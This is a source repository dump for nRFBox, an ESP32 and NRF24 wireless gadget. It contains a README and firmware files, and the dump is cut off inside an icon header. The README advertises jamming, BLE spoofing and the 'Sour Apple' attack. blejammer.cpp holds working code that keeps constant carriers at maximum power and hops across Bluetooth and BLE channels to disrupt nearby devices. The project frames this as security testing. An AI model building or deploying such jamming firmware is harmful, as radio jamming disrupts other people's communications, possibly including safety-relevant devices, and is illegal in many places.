├── LICENCE ├── PCB ├── Gerber nRFBOXv2.zip ├── nRFBOXv2 BOM.pdf ├── nRFBOXv2.PcbDoc └── pcb.jpg ├── README.md ├── Schematic ├── BOM.jpg └── Schematic.jpg ├── VScode Platformio ├── .gitignore ├── .vscode │ └── extensions.json ├── include │ └── README ├── lib │ └── README ├── platformio.ini ├── src │ ├── analyzer.cpp │ ├── analyzer.h │ ├── blejammer.cpp │ ├── blejammer.h │ ├── icon.h │ ├── jammer.cpp │ ├── jammer.h │ ├── nRFBox_V2.ino │ ├── scanner.cpp │ ├── scanner.h │ ├── sourapple.cpp │ ├── sourapple.h │ ├── spoofer.cpp │ └── spoofer.h └── test │ └── README ├── icons ├── ICONs.psd ├── analyzer.png ├── apple.png ├── arrow_left.png ├── arrow_right.png ├── ble jammer.png ├── ble.png ├── ble_jammer.png ├── bluetooth_jammer.png ├── brain.png ├── cctv.png ├── character.png ├── dialog.png ├── follow.png ├── game1.bmp ├── game2.bmp ├── jammer.png ├── key.png ├── kill.png ├── logo_cifer.bmp ├── logo_flip.bmp ├── nrf24.png ├── pattern.psd ├── question.png ├── rc.png ├── save.png ├── setting.png ├── signal.png ├── skull.png ├── spoofer.png ├── stat.png ├── sword.png ├── usb.png ├── wifi.png ├── wifi2.png ├── wifi_jammer.png └── zigbee.png ├── nRFBox ├── Analyzer.cpp ├── Analyzer.h ├── jammer.cpp ├── jammer.h ├── menu.cpp ├── menu.h ├── nRFBox.ino ├── scanner.cpp └── scanner.h ├── nRFBox_V2 ├── analyzer.cpp ├── analyzer.h ├── blackout.cpp ├── blackout.h ├── blejammer.cpp ├── blejammer.h ├── blescan.cpp ├── blescan.h ├── icon.h ├── jammer.cpp ├── jammer.h ├── nRFBox_V2.ino ├── nRFBox_V2.ino.node32s.bin ├── neopixel.cpp ├── neopixel.h ├── scanner.cpp ├── scanner.h ├── setting.cpp ├── setting.h ├── sourapple.cpp ├── sourapple.h ├── spoofer.cpp ├── spoofer.h ├── wifiscan.cpp └── wifiscan.h └── precompiled bin ├── nRFBox_V2-0-0.ino.node32s.bin ├── nRFBox_V2-1-1.ino.node32s.bin ├── nRFBox_V2-2-1.ino.node32s.bin └── nRFBox_V2-5-0.ino.node32s.bin /LICENCE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 CiferTech 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PCB/Gerber nRFBOXv2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/PCB/Gerber nRFBOXv2.zip -------------------------------------------------------------------------------- /PCB/nRFBOXv2 BOM.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/PCB/nRFBOXv2 BOM.pdf -------------------------------------------------------------------------------- /PCB/nRFBOXv2.PcbDoc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/PCB/nRFBOXv2.PcbDoc -------------------------------------------------------------------------------- /PCB/pcb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/PCB/pcb.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | logo 4 | 5 |

nRFBOX

6 |

All-in-One Gadget for BLE and 2.4GHz Networks

7 | 8 | 9 | 10 | cifertech - nrfbox 11 | ![GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/cifertech/nrfbox/total) 12 | stars - nrfbox 13 | forks - nrfbox 14 | 15 | 16 |

17 | TWITTER 18 | · 19 | INSTAGRAM 20 | · 21 | YOUTUBE 22 | · 23 | WEBSITE 24 |

25 |
26 |
27 | 28 | ## 📖 Explore the Full Documentation 29 | 30 | Ready to dive deeper into nRFBOX's details? Discover the full story, in-depth tutorials, and all the exciting features in our comprehensive [documentation](https://cifertech.net/nrfbox-your-all-in-one-gadget-for-ble-and-2-4ghz-networks/). Click the link and explore further! 31 | 32 |
 
33 | 34 |

🛠 Functionality Status and Reliability

35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 |
FeatureStatusReliabilityNotes
ScannerStableHighReliably scans the 2.4 GHz band to detect active channels and nearby devices. Occasional misses in high-interference environments.
AnalyzerStableHighProvides useful insights into detected signals, but additional updates are needed for improved accuracy and detailed analysis.
JammerStableHighBasic jamming works but effectiveness varies by device type and signal strength. Testing on select channels is recommended.
BLE JammerStableHighDisrupts BLE devices inconsistently. Further improvements are needed to ensure stability and effectiveness across BLE variants.
BLE SpooferStableLowCapable of simulating basic BLE signals but has limited compatibility. Best for controlled testing scenarios.
Sour AppleStableLowSpecialized attack method with limited reliability; effective only under specific conditions. Further tuning is required.
84 | 85 | - When using **multiple NRF24** modules, the power demands can exceed the capabilities of the onboard power supply or regulator. Running three NRF modules simultaneously may cause instability, leading to intermittent failures or causing the nRFBox to stop functioning altogether. 86 | - **Range Limitations**: The jammer is most effective at short range. Beyond a certain distance, the signal weakens, making it harder to consistently disrupt communication. 87 | - **Device Variability**: Different devices react to jamming signals in varying ways. Some may be more resistant. 88 | 89 |
 
90 | 91 | 92 | ## :star2: About the Project 93 | nRFBOX is a wireless toolkit designed to explore, analyze, and interact with various wireless communication protocols. It combines the ESP32 Wroom32U, NRF24 modules, an OLED display, and other components to create a multifunctional device that can act as a scanner, analyzer, jammer, BLE jammer, BLE spoofer, and perform advanced tasks such as the "Sour Apple" attack. 94 | 95 | 96 | 97 |
98 | screenshot 99 |
100 | 101 |
 
102 | 103 | 104 | ### 🎯 Features 105 | 106 | **Software:** 107 | - **Scanner**: Scans the 2.4GHz frequency band to detect active channels and devices. 108 | - **Analyzer**: Analyzes the detected signals and provides detailed information about the activity. 109 | - **Jammer**: Jams wireless communication on selected channels to test network robustness. 110 | - **BLE Jammer**: Specifically targets Bluetooth Low Energy (BLE) devices to disrupt their communication. 111 | - **BLE Spoofer**: Spoofs BLE devices to simulate various BLE signals for testing and research. 112 | - **Sour Apple**: A specialized attack for testing security measures against specific wireless vulnerabilities. 113 | - **Proto Kill Mode**: Proto Kill has evolved into a powerful tool for disrupting various protocols. 114 | 115 | - **WiFi Scanner** 116 | - **BLE Scanner** 117 | 118 | **Hardware:** 119 | - ESP32 Wroom32U 120 | - NRF24 GTmini Modules 121 | - OLED 0.96" Display 122 | 123 |
 
124 | 125 | 126 | ## :eyes: nRFBox Versions: Then and Now 127 | 128 | 129 | 130 | 134 | 138 | 139 |
131 | nRFBOX V1 132 |

nRFBox-v1 based on Arduino

133 |
135 | nRFBOX V2 136 |

nRFBox-v2 based on ESP32

137 |
140 | 141 | 142 |
 
143 | 144 | ## 🔗 Uploading the Firmware (.bin) to ESP32 145 | 146 | If you prefer not to upload the code manually or encounter errors during compilation, you can directly upload the precompiled `.bin` file to the ESP32. Follow these steps: 147 | 148 | ### Step 1: Download the Required Tools 149 | 1. **ESP32 Flash Download Tool**: Download the tool from Espressif's official site: [ESP32 Flash Download Tool](https://www.espressif.com/sites/default/files/tools/flash_download_tool_3.9.7_2.zip). 150 | 2. **USB Drivers**: Make sure the drivers for the ESP32 are installed on your system. You can download the drivers from [CP210x USB to UART Bridge VCP Drivers](https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers) if you're using the CP2102 chip. 151 | 152 | ### Step 2: Prepare the `.bin` File 153 | 1. Download the [precompiled `.bin`](https://github.com/cifertech/nRFBox/tree/main/precompiled%20%20bin) file from the repository. 154 | 155 | ### Step 3: Upload the `.bin` File to ESP32 156 | 1. Connect your ESP32 to your computer using a USB cable. 157 | 2. Open the **ESP32 Flash Download Tool** and configure the following: 158 | - Select the appropriate **chip type** (ESP32) and click **OK**. 159 | - In the **Download Path Config** section, add the `.bin` file and set the start address to `0x10000`. 160 | - Select the correct **COM port** where your ESP32 is connected. 161 | - Choose the correct **Baud rate** (115200 is generally recommended). 162 | 163 | 3. Click on **Start** to begin uploading the `.bin` file to your ESP32. 164 | 165 | ### Step 4: Verify the Upload 166 | Once the upload is completed, the tool will confirm a successful flash. You can now restart your ESP32 and run the firmware. 167 | 168 |   169 | ### Arduino IDE 1.8 Settings: 170 | If you want to upload the sketch code to the ESP32, use the following settings in the Tools menu: 171 | - **Built using ESP32 Board Version 2.0.11** 172 | 173 |
174 | Photo 1 175 | Photo 2 176 |
177 | 178 | 179 |
 
180 | 181 | 182 | ## :warning: License 183 | 184 | Distributed under the MIT License. See LICENSE.txt for more information. 185 | 186 |
 
187 | 188 | 189 | ## :handshake: Contact 190 | 191 | ▶ Support me on Patreon [patreon.com/cifertech](https://www.patreon.com/cifertech) 192 | 193 | CiferTech - [@twitter](https://twitter.com/techcifer) - CiferTech@gmali.com 194 | 195 | Project Link: [https://github.com/cifertech/nRFBOX](https://github.com/cifertech/nrfbox) 196 | 197 |
 
198 | 199 | 200 | ## :gem: Acknowledgements 201 | 202 | **The libraries and projects listed below are used in this software:** 203 | - [Poor Man’s 2.4 GHz Scanner](https://forum.arduino.cc/t/poor-mans-2-4-ghz-scanner/54846) 204 | - [arduino_oled_menu](https://github.com/upiir/arduino_oled_menu) 205 | - [nRF24L01-WiFi-Jammer](https://github.com/hugorezende/nRF24L01-WiFi-Jammer) 206 | - [Universal-RC-system](https://github.com/alexbeliaev/Universal-RC-system/tree/master) 207 | - [AppleJuice](https://github.com/ECTO-1A/AppleJuice) 208 | - [ESP32-Sour-Apple](https://github.com/RapierXbox/ESP32-Sour-Apple) 209 | 210 | **Community Contributors**: Thanks to everyone who helped improve nRFBox! Your support is much appreciated! 211 | 212 | -------------------------------------------------------------------------------- /Schematic/BOM.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/Schematic/BOM.jpg -------------------------------------------------------------------------------- /Schematic/Schematic.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cifertech/nRFBox/38772b46169b607f2c9c279cd2ec6e1d254259af/Schematic/Schematic.jpg -------------------------------------------------------------------------------- /VScode Platformio/.gitignore: -------------------------------------------------------------------------------- 1 | .pio 2 | .vscode/.browse.c_cpp.db* 3 | .vscode/c_cpp_properties.json 4 | .vscode/launch.json 5 | .vscode/ipch 6 | -------------------------------------------------------------------------------- /VScode Platformio/.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | // See http://go.microsoft.com/fwlink/?LinkId=827846 3 | // for the documentation about the extensions.json format 4 | "recommendations": [ 5 | "platformio.platformio-ide" 6 | ], 7 | "unwantedRecommendations": [ 8 | "ms-vscode.cpptools-extension-pack" 9 | ] 10 | } 11 | -------------------------------------------------------------------------------- /VScode Platformio/include/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for project header files. 3 | 4 | A header file is a file containing C declarations and macro definitions 5 | to be shared between several project source files. You request the use of a 6 | header file in your project source file (C, C++, etc) located in `src` folder 7 | by including it, with the C preprocessing directive `#include'. 8 | 9 | ```src/main.c 10 | 11 | #include "header.h" 12 | 13 | int main (void) 14 | { 15 | ... 16 | } 17 | ``` 18 | 19 | Including a header file produces the same results as copying the header file 20 | into each source file that needs it. Such copying would be time-consuming 21 | and error-prone. With a header file, the related declarations appear 22 | in only one place. If they need to be changed, they can be changed in one 23 | place, and programs that include the header file will automatically use the 24 | new version when next recompiled. The header file eliminates the labor of 25 | finding and changing all the copies as well as the risk that a failure to 26 | find one copy will result in inconsistencies within a program. 27 | 28 | In C, the usual convention is to give header files names that end with `.h'. 29 | It is most portable to use only letters, digits, dashes, and underscores in 30 | header file names, and at most one dot. 31 | 32 | Read more about using header files in official GCC documentation: 33 | 34 | * Include Syntax 35 | * Include Operation 36 | * Once-Only Headers 37 | * Computed Includes 38 | 39 | https://gcc.gnu.org/onlinedocs/cpp/Header-Files.html 40 | -------------------------------------------------------------------------------- /VScode Platformio/lib/README: -------------------------------------------------------------------------------- 1 | 2 | This directory is intended for project specific (private) libraries. 3 | PlatformIO will compile them to static libraries and link into executable file. 4 | 5 | The source code of each library should be placed in an own separate directory 6 | ("lib/your_library_name/[here are source files]"). 7 | 8 | For example, see a structure of the following two libraries `Foo` and `Bar`: 9 | 10 | |--lib 11 | | | 12 | | |--Bar 13 | | | |--docs 14 | | | |--examples 15 | | | |--src 16 | | | |- Bar.c 17 | | | |- Bar.h 18 | | | |- library.json (optional, custom build options, etc) https://docs.platformio.org/page/librarymanager/config.html 19 | | | 20 | | |--Foo 21 | | | |- Foo.c 22 | | | |- Foo.h 23 | | | 24 | | |- README --> THIS FILE 25 | | 26 | |- platformio.ini 27 | |--src 28 | |- main.c 29 | 30 | and a contents of `src/main.c`: 31 | ``` 32 | #include 33 | #include 34 | 35 | int main (void) 36 | { 37 | ... 38 | } 39 | 40 | ``` 41 | 42 | PlatformIO Library Dependency Finder will find automatically dependent 43 | libraries scanning project source files. 44 | 45 | More information about PlatformIO Library Dependency Finder 46 | - https://docs.platformio.org/page/librarymanager/ldf.html 47 | -------------------------------------------------------------------------------- /VScode Platformio/platformio.ini: -------------------------------------------------------------------------------- 1 | ; PlatformIO Project Configuration File 2 | ; 3 | ; Build options: build flags, source filter 4 | ; Upload options: custom upload port, speed and extra flags 5 | ; Library options: dependencies, extra library storages 6 | ; Advanced options: extra scripting 7 | ; 8 | ; Please visit documentation for the other options and examples 9 | ; https://docs.platformio.org/page/projectconf.html 10 | 11 | [env:esp32dev] 12 | platform = espressif32 13 | board = esp32dev 14 | framework = arduino 15 | lib_deps = 16 | nrf24/RF24@^1.4.10 17 | olikraus/U8g2@^2.36.2 18 | adafruit/Adafruit NeoPixel@^1.12.3 19 | board_build.partitions = min_spiffs.csv 20 | -------------------------------------------------------------------------------- /VScode Platformio/src/analyzer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "analyzer.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | #define NRF24_CONFIG 0x00 12 | #define NRF24_EN_AA 0x01 13 | #define NRF24_RF_CH 0x05 14 | #define NRF24_RF_SETUP 0x06 15 | #define NRF24_RPD 0x09 16 | 17 | #define SCREEN_WIDTH 128 18 | #define SCREEN_HEIGHT 64 19 | 20 | #define N 128 21 | uint8_t values[N]; 22 | 23 | #define CE 5 24 | #define CSN 17 25 | 26 | #define CHANNELS 64 27 | int CHannel[CHANNELS]; 28 | 29 | 30 | byte getregister(byte r) { 31 | byte c; 32 | 33 | digitalWrite(CSN, LOW); 34 | SPI.transfer(r & 0x1F); 35 | c = SPI.transfer(0); 36 | digitalWrite(CSN, HIGH); 37 | 38 | return c; 39 | } 40 | 41 | void setregister(byte r, byte v) { 42 | digitalWrite(CSN, LOW); 43 | SPI.transfer((r & 0x1F) | 0x20); 44 | SPI.transfer(v); 45 | digitalWrite(CSN, HIGH); 46 | } 47 | 48 | void powerup(void) { 49 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) | 0x02); 50 | delayMicroseconds(130); 51 | } 52 | 53 | void powerdown(void) { 54 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) & ~0x02); 55 | } 56 | 57 | void ENable(void) { 58 | digitalWrite(CE, HIGH); 59 | } 60 | 61 | void DIsable(void) { 62 | digitalWrite(CE, LOW); 63 | } 64 | 65 | void setrx(void) { 66 | setregister(NRF24_CONFIG, getregister(NRF24_CONFIG) | 0x01); 67 | ENable(); 68 | delayMicroseconds(100); 69 | } 70 | 71 | void ScanChannels(void) { 72 | DIsable(); 73 | // for (int j = 0; j < 10; j++) { 74 | for (int i = 0; i < CHANNELS; i++) { 75 | setregister(NRF24_RF_CH, (128 * i) / CHANNELS); 76 | setrx(); 77 | delayMicroseconds(40); 78 | DIsable(); 79 | if (getregister(NRF24_RPD) > 0) CHannel[i]++; 80 | } 81 | // } 82 | } 83 | 84 | 85 | void writeRegister(uint8_t reg, uint8_t value) { 86 | digitalWrite(CSN, LOW); 87 | SPI.transfer(reg | 0x20); 88 | SPI.transfer(value); 89 | digitalWrite(CSN, HIGH); 90 | } 91 | 92 | uint8_t readRegister(uint8_t reg) { 93 | digitalWrite(CSN, LOW); 94 | SPI.transfer(reg & 0x1F); 95 | uint8_t result = SPI.transfer(0x00); 96 | digitalWrite(CSN, HIGH); 97 | return result; 98 | } 99 | 100 | void setChannel(uint8_t CHannel) { 101 | writeRegister(NRF24_RF_CH, CHannel); 102 | } 103 | 104 | void powerUP() { 105 | uint8_t config = readRegister(NRF24_CONFIG); 106 | writeRegister(NRF24_CONFIG, config | 0x02); 107 | delay(5); 108 | } 109 | 110 | void powerDOWN() { 111 | uint8_t config = readRegister(NRF24_CONFIG); 112 | writeRegister(NRF24_CONFIG, config & ~0x02); 113 | } 114 | 115 | void startListening() { 116 | digitalWrite(CE, HIGH); 117 | } 118 | 119 | void stopListening() { 120 | digitalWrite(CE, LOW); 121 | } 122 | 123 | bool carrierDetected() { 124 | return readRegister(NRF24_RPD) & 0x01; 125 | } 126 | 127 | 128 | void analyzerSetup(){ 129 | 130 | Serial.begin(115200); 131 | 132 | esp_bt_controller_deinit(); 133 | esp_wifi_stop(); 134 | esp_wifi_deinit(); 135 | 136 | pinMode(CE, OUTPUT); 137 | pinMode(CSN, OUTPUT); 138 | 139 | SPI.begin(18, 19, 23, 17); 140 | SPI.setDataMode(SPI_MODE0); 141 | SPI.setFrequency(10000000); 142 | SPI.setBitOrder(MSBFIRST); 143 | 144 | u8g2.begin(); 145 | u8g2.clearBuffer(); 146 | u8g2.sendBuffer(); 147 | 148 | digitalWrite(CSN, HIGH); 149 | digitalWrite(CE, LOW); 150 | 151 | DIsable(); 152 | 153 | powerUP(); 154 | writeRegister(NRF24_EN_AA, 0x00); 155 | writeRegister(NRF24_RF_SETUP, 0x0F); 156 | 157 | } 158 | 159 | void analyzerLoop(){ 160 | 161 | ScanChannels(); 162 | 163 | memset(values, 0, sizeof(values)); 164 | 165 | int n = 50; 166 | while (n--) { 167 | int i = N; 168 | while (i--) { 169 | setChannel(i); 170 | startListening(); 171 | delayMicroseconds(128); 172 | stopListening(); 173 | if (carrierDetected()) { 174 | ++values[i]; 175 | } 176 | } 177 | } 178 | 179 | u8g2.clearBuffer(); 180 | int barWidth = SCREEN_WIDTH / N; 181 | int x = 0; 182 | for (int i = 0; i < N; ++i) { 183 | int v = 63 - values[i] * 3; 184 | if (v < 0) { 185 | v = 0; 186 | } 187 | u8g2.drawVLine(x, v - 10, 64 - v); 188 | x += barWidth; 189 | } 190 | 191 | u8g2.setFont(u8g2_font_ncenB08_tr); 192 | u8g2.setCursor(0, 64); 193 | u8g2.print("1...5...10...25..50...80...128"); 194 | u8g2.sendBuffer(); 195 | 196 | delay(50); 197 | 198 | } 199 | -------------------------------------------------------------------------------- /VScode Platformio/src/analyzer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef analyzer_H 7 | #define analyzer_H 8 | 9 | #include 10 | #include 11 | #include "esp_bt.h" 12 | #include "esp_wifi.h" 13 | 14 | void analyzerSetup(); 15 | void analyzerLoop(); 16 | 17 | #endif 18 | -------------------------------------------------------------------------------- /VScode Platformio/src/blejammer.cpp: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #include 7 | #include "blejammer.h" 8 | 9 | extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; 10 | 11 | #define CE_PIN_1 5 12 | #define CSN_PIN_1 17 13 | 14 | #define CE_PIN_2 16 15 | #define CSN_PIN_2 4 16 | 17 | #define CE_PIN_3 15 18 | #define CSN_PIN_3 2 19 | 20 | #define MODE_BUTTON 26 21 | 22 | RF24 radio1(CE_PIN_1, CSN_PIN_1, 16000000); 23 | RF24 radio2(CE_PIN_2, CSN_PIN_2, 16000000); 24 | RF24 radio3(CE_PIN_3, CSN_PIN_3, 16000000); 25 | 26 | enum OperationMode { DEACTIVE_MODE, BLE_MODULE, Bluetooth_MODULE }; 27 | OperationMode currentMode = DEACTIVE_MODE; 28 | 29 | int bluetooth_channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; 30 | int ble_channels[] = {2, 26, 80}; 31 | 32 | const byte BLE_channels[] = {2, 26, 80}; // Corresponding BLE advertising channels 33 | byte channelGroup1[] = {2, 5, 8, 11}; // Module 1 frequency group 34 | byte channelGroup2[] = {26, 29, 32, 35}; // Module 2 frequency group 35 | byte channelGroup3[] = {80, 83, 86, 89}; // Module 3 frequency group 36 | 37 | volatile bool modeChangeRequested = false; 38 | 39 | unsigned long lastJammingTime = 0; 40 | const unsigned long jammingInterval = 10; 41 | 42 | unsigned long lastButtonPressTime = 0; 43 | const unsigned long debounceDelay = 500; 44 | 45 | void IRAM_ATTR handleButtonPress() { 46 | unsigned long currentTime = millis(); 47 | if (currentTime - lastButtonPressTime > debounceDelay) { 48 | modeChangeRequested = true; 49 | lastButtonPressTime = currentTime; 50 | } 51 | } 52 | 53 | void configureRadio(RF24 &radio, const byte* channels, size_t size) { 54 | radio.setAutoAck(false); 55 | radio.stopListening(); 56 | radio.setRetries(0, 0); 57 | radio.setPALevel(RF24_PA_MAX, true); 58 | radio.setDataRate(RF24_2MBPS); 59 | radio.setCRCLength(RF24_CRC_DISABLED); 60 | radio.printPrettyDetails(); 61 | 62 | for (size_t i = 0; i < size; i++) { 63 | radio.setChannel(channels[i]); 64 | radio.startConstCarrier(RF24_PA_MAX, channels[i]); 65 | } 66 | } 67 | 68 | void initializeRadiosMultiMode() { 69 | if (radio1.begin()) { 70 | configureRadio(radio1, channelGroup1, sizeof(channelGroup1)); 71 | } 72 | if (radio2.begin()) { 73 | configureRadio(radio2, channelGroup2, sizeof(channelGroup2)); 74 | } 75 | if (radio3.begin()) { 76 | configureRadio(radio3, channelGroup3, sizeof(channelGroup3)); 77 | } 78 | } 79 | 80 | void initializeRadios() { 81 | if (currentMode == BLE_MODULE) { 82 | if (radio1.begin()) { 83 | configureRadio(radio1, BLE_channels, sizeof(BLE_channels)); 84 | } 85 | } else if (currentMode == Bluetooth_MODULE) { 86 | initializeRadiosMultiMode(); 87 | } else if (currentMode == DEACTIVE_MODE) { 88 | radio1.setChannel(0); 89 | radio2.setChannel(0); 90 | radio3.setChannel(0); 91 | delay(100); 92 | } 93 | } 94 | 95 | void jammer(RF24 &radio, const byte* channels, size_t size) { 96 | const char text[] = "xxxxxxxxxxxxxxxx"; 97 | for (size_t i = 0; i < size; i++) { 98 | radio.setChannel(channels[i]); 99 | radio.write(&text, sizeof(text)); 100 | //delayMicroseconds(20); 101 | } 102 | } 103 | 104 | void updateOLED() { 105 | u8g2.clearBuffer(); 106 | u8g2.setFont(u8g2_font_ncenB08_tr); 107 | 108 | u8g2.setCursor(0, 10); 109 | u8g2.print("Mode "); 110 | u8g2.print(" ....... "); 111 | u8g2.setCursor(65, 10); 112 | u8g2.print("["); 113 | u8g2.print(currentMode == BLE_MODULE ? "BLE" : currentMode == Bluetooth_MODULE ? "Bluetooth" : "Deactive"); 114 | u8g2.print("]"); 115 | 116 | u8g2.setCursor(0, 35); 117 | u8g2.print("Radio 1: "); 118 | u8g2.setCursor(70, 35); 119 | u8g2.print(radio1.isChipConnected() ? "Active" : "Inactive"); 120 | 121 | u8g2.setCursor(0, 50); 122 | u8g2.print("Radio 2: "); 123 | u8g2.setCursor(70, 50); 124 | u8g2.print(radio2.isChipConnected() ? "Active" : "Inactive"); 125 | 126 | u8g2.setCursor(0, 64); 127 | u8g2.print("Radio 3: "); 128 | u8g2.setCursor(70, 64); 129 | u8g2.print(radio3.isChipConnected() ? "Active" : "Inactive"); 130 | 131 | u8g2.sendBuffer(); 132 | } 133 | 134 | void checkModeChange() { 135 | if (modeChangeRequested) { 136 | modeChangeRequested = false; 137 | currentMode = static_cast((currentMode + 1) % 3); 138 | initializeRadios(); 139 | updateOLED(); 140 | } 141 | } 142 | 143 | void blejammerSetup() { 144 | Serial.begin(115200); 145 | 146 | esp_bt_controller_deinit(); 147 | esp_wifi_stop(); 148 | esp_wifi_deinit(); 149 | esp_wifi_disconnect(); 150 | 151 | u8g2.begin(); 152 | 153 | pinMode(MODE_BUTTON, INPUT_PULLUP); 154 | attachInterrupt(digitalPinToInterrupt(MODE_BUTTON), handleButtonPress, FALLING); 155 | 156 | initializeRadios(); 157 | updateOLED(); 158 | } 159 | 160 | void blejammerLoop() { 161 | checkModeChange(); 162 | 163 | if (currentMode == BLE_MODULE) { 164 | int randomIndex = random(0, sizeof(ble_channels) / sizeof(ble_channels[0])); 165 | int channel = ble_channels[randomIndex]; 166 | radio1.setChannel(channel); 167 | radio2.setChannel(channel); 168 | radio3.setChannel(channel); 169 | 170 | } else if (currentMode == Bluetooth_MODULE) { 171 | int randomIndex = random(0, sizeof(bluetooth_channels) / sizeof(bluetooth_channels[0])); 172 | int channel = bluetooth_channels[randomIndex]; 173 | radio1.setChannel(channel); 174 | radio2.setChannel(channel); 175 | radio3.setChannel(channel); 176 | } 177 | } 178 | -------------------------------------------------------------------------------- /VScode Platformio/src/blejammer.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | #ifndef blejammer_H 7 | #define blejammer_H 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "esp_bt.h" 15 | #include "esp_wifi.h" 16 | 17 | void blejammerSetup(); 18 | void blejammerLoop(); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /VScode Platformio/src/icon.h: -------------------------------------------------------------------------------- 1 | /* ____________________________ 2 | This software is licensed under the MIT License: 3 | https://github.com/cifertech/nrfbox 4 | ________________________________________ */ 5 | 6 | // 'apple', 16x16px 7 | const unsigned char bitmap_icon_apple [] PROGMEM = { 8 | 0x00, 0x00, 0x00, 0x06, 0x00, 0x07, 0x00, 0x03, 0x00, 0x00, 0x70, 0x0e, 0xf8, 0x0f, 0xf8, 0x07, 9 | 0xf8, 0x07, 0xf8, 0x07, 0xf8, 0x0f, 0xf8, 0x1f, 0xf0, 0x1f, 0xe0, 0x0f, 0x00, 0x00, 0x00, 0x00 10 | }; 11 | 12 | // 'spoofer', 16x16px 13 | const unsigned char bitmap_icon_spoofer [] PROGMEM = { 14 | 0x00, 0x00, 0x40, 0x00, 0xc0, 0x00, 0xcc, 0x01, 0x5c, 0x13, 0x78, 0x32, 0xf0, 0x21, 0xe0, 0x24, 15 | 0xe0, 0x24, 0xf0, 0x21, 0x78, 0x32, 0x5c, 0x13, 0xcc, 0x01, 0xc0, 0x00, 0x40, 0x00, 0x00, 0x00 16 | }; 17 | 18 | // 'ble jammer', 16x16px 19 | const unsigned char bitmap_icon_ble_jammer [] PROGMEM = { 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x18, 0x03, 0x30, 0x05, 0x60, 0x04, 0xc0, 0x04, 0x80, 0x01, 21 | 0x80, 0x03, 0xc0, 0x07, 0x60, 0x0d, 0x30, 0x1d, 0x10, 0x33, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00 22 | }; 23 | 24 | // 'jammer', 16x16px 25 | const unsigned char bitmap_icon_jammer [] PROGMEM = { 26 | 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0xf8, 0x01, 0x80, 0x07, 0x00, 0x0e, 0x78, 0x1c, 0xf8, 0x18, 27 | 0xc0, 0x31, 0x80, 0x31, 0x1c, 0x33, 0x3e, 0x33, 0x3e, 0x33, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00 28 | }; 29 | 30 | // 'icon_scanner', 16x16px 31 | const unsigned char bitmap_icon_scanner [] PROGMEM = { 32 | 0x00, 0x00, 0x00, 0x06, 0x00, 0x06, 0x00, 0x06, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, 0x00, 0x66, 33 | 0x06, 0x66, 0x06, 0x66, 0x06, 0x66, 0x06, 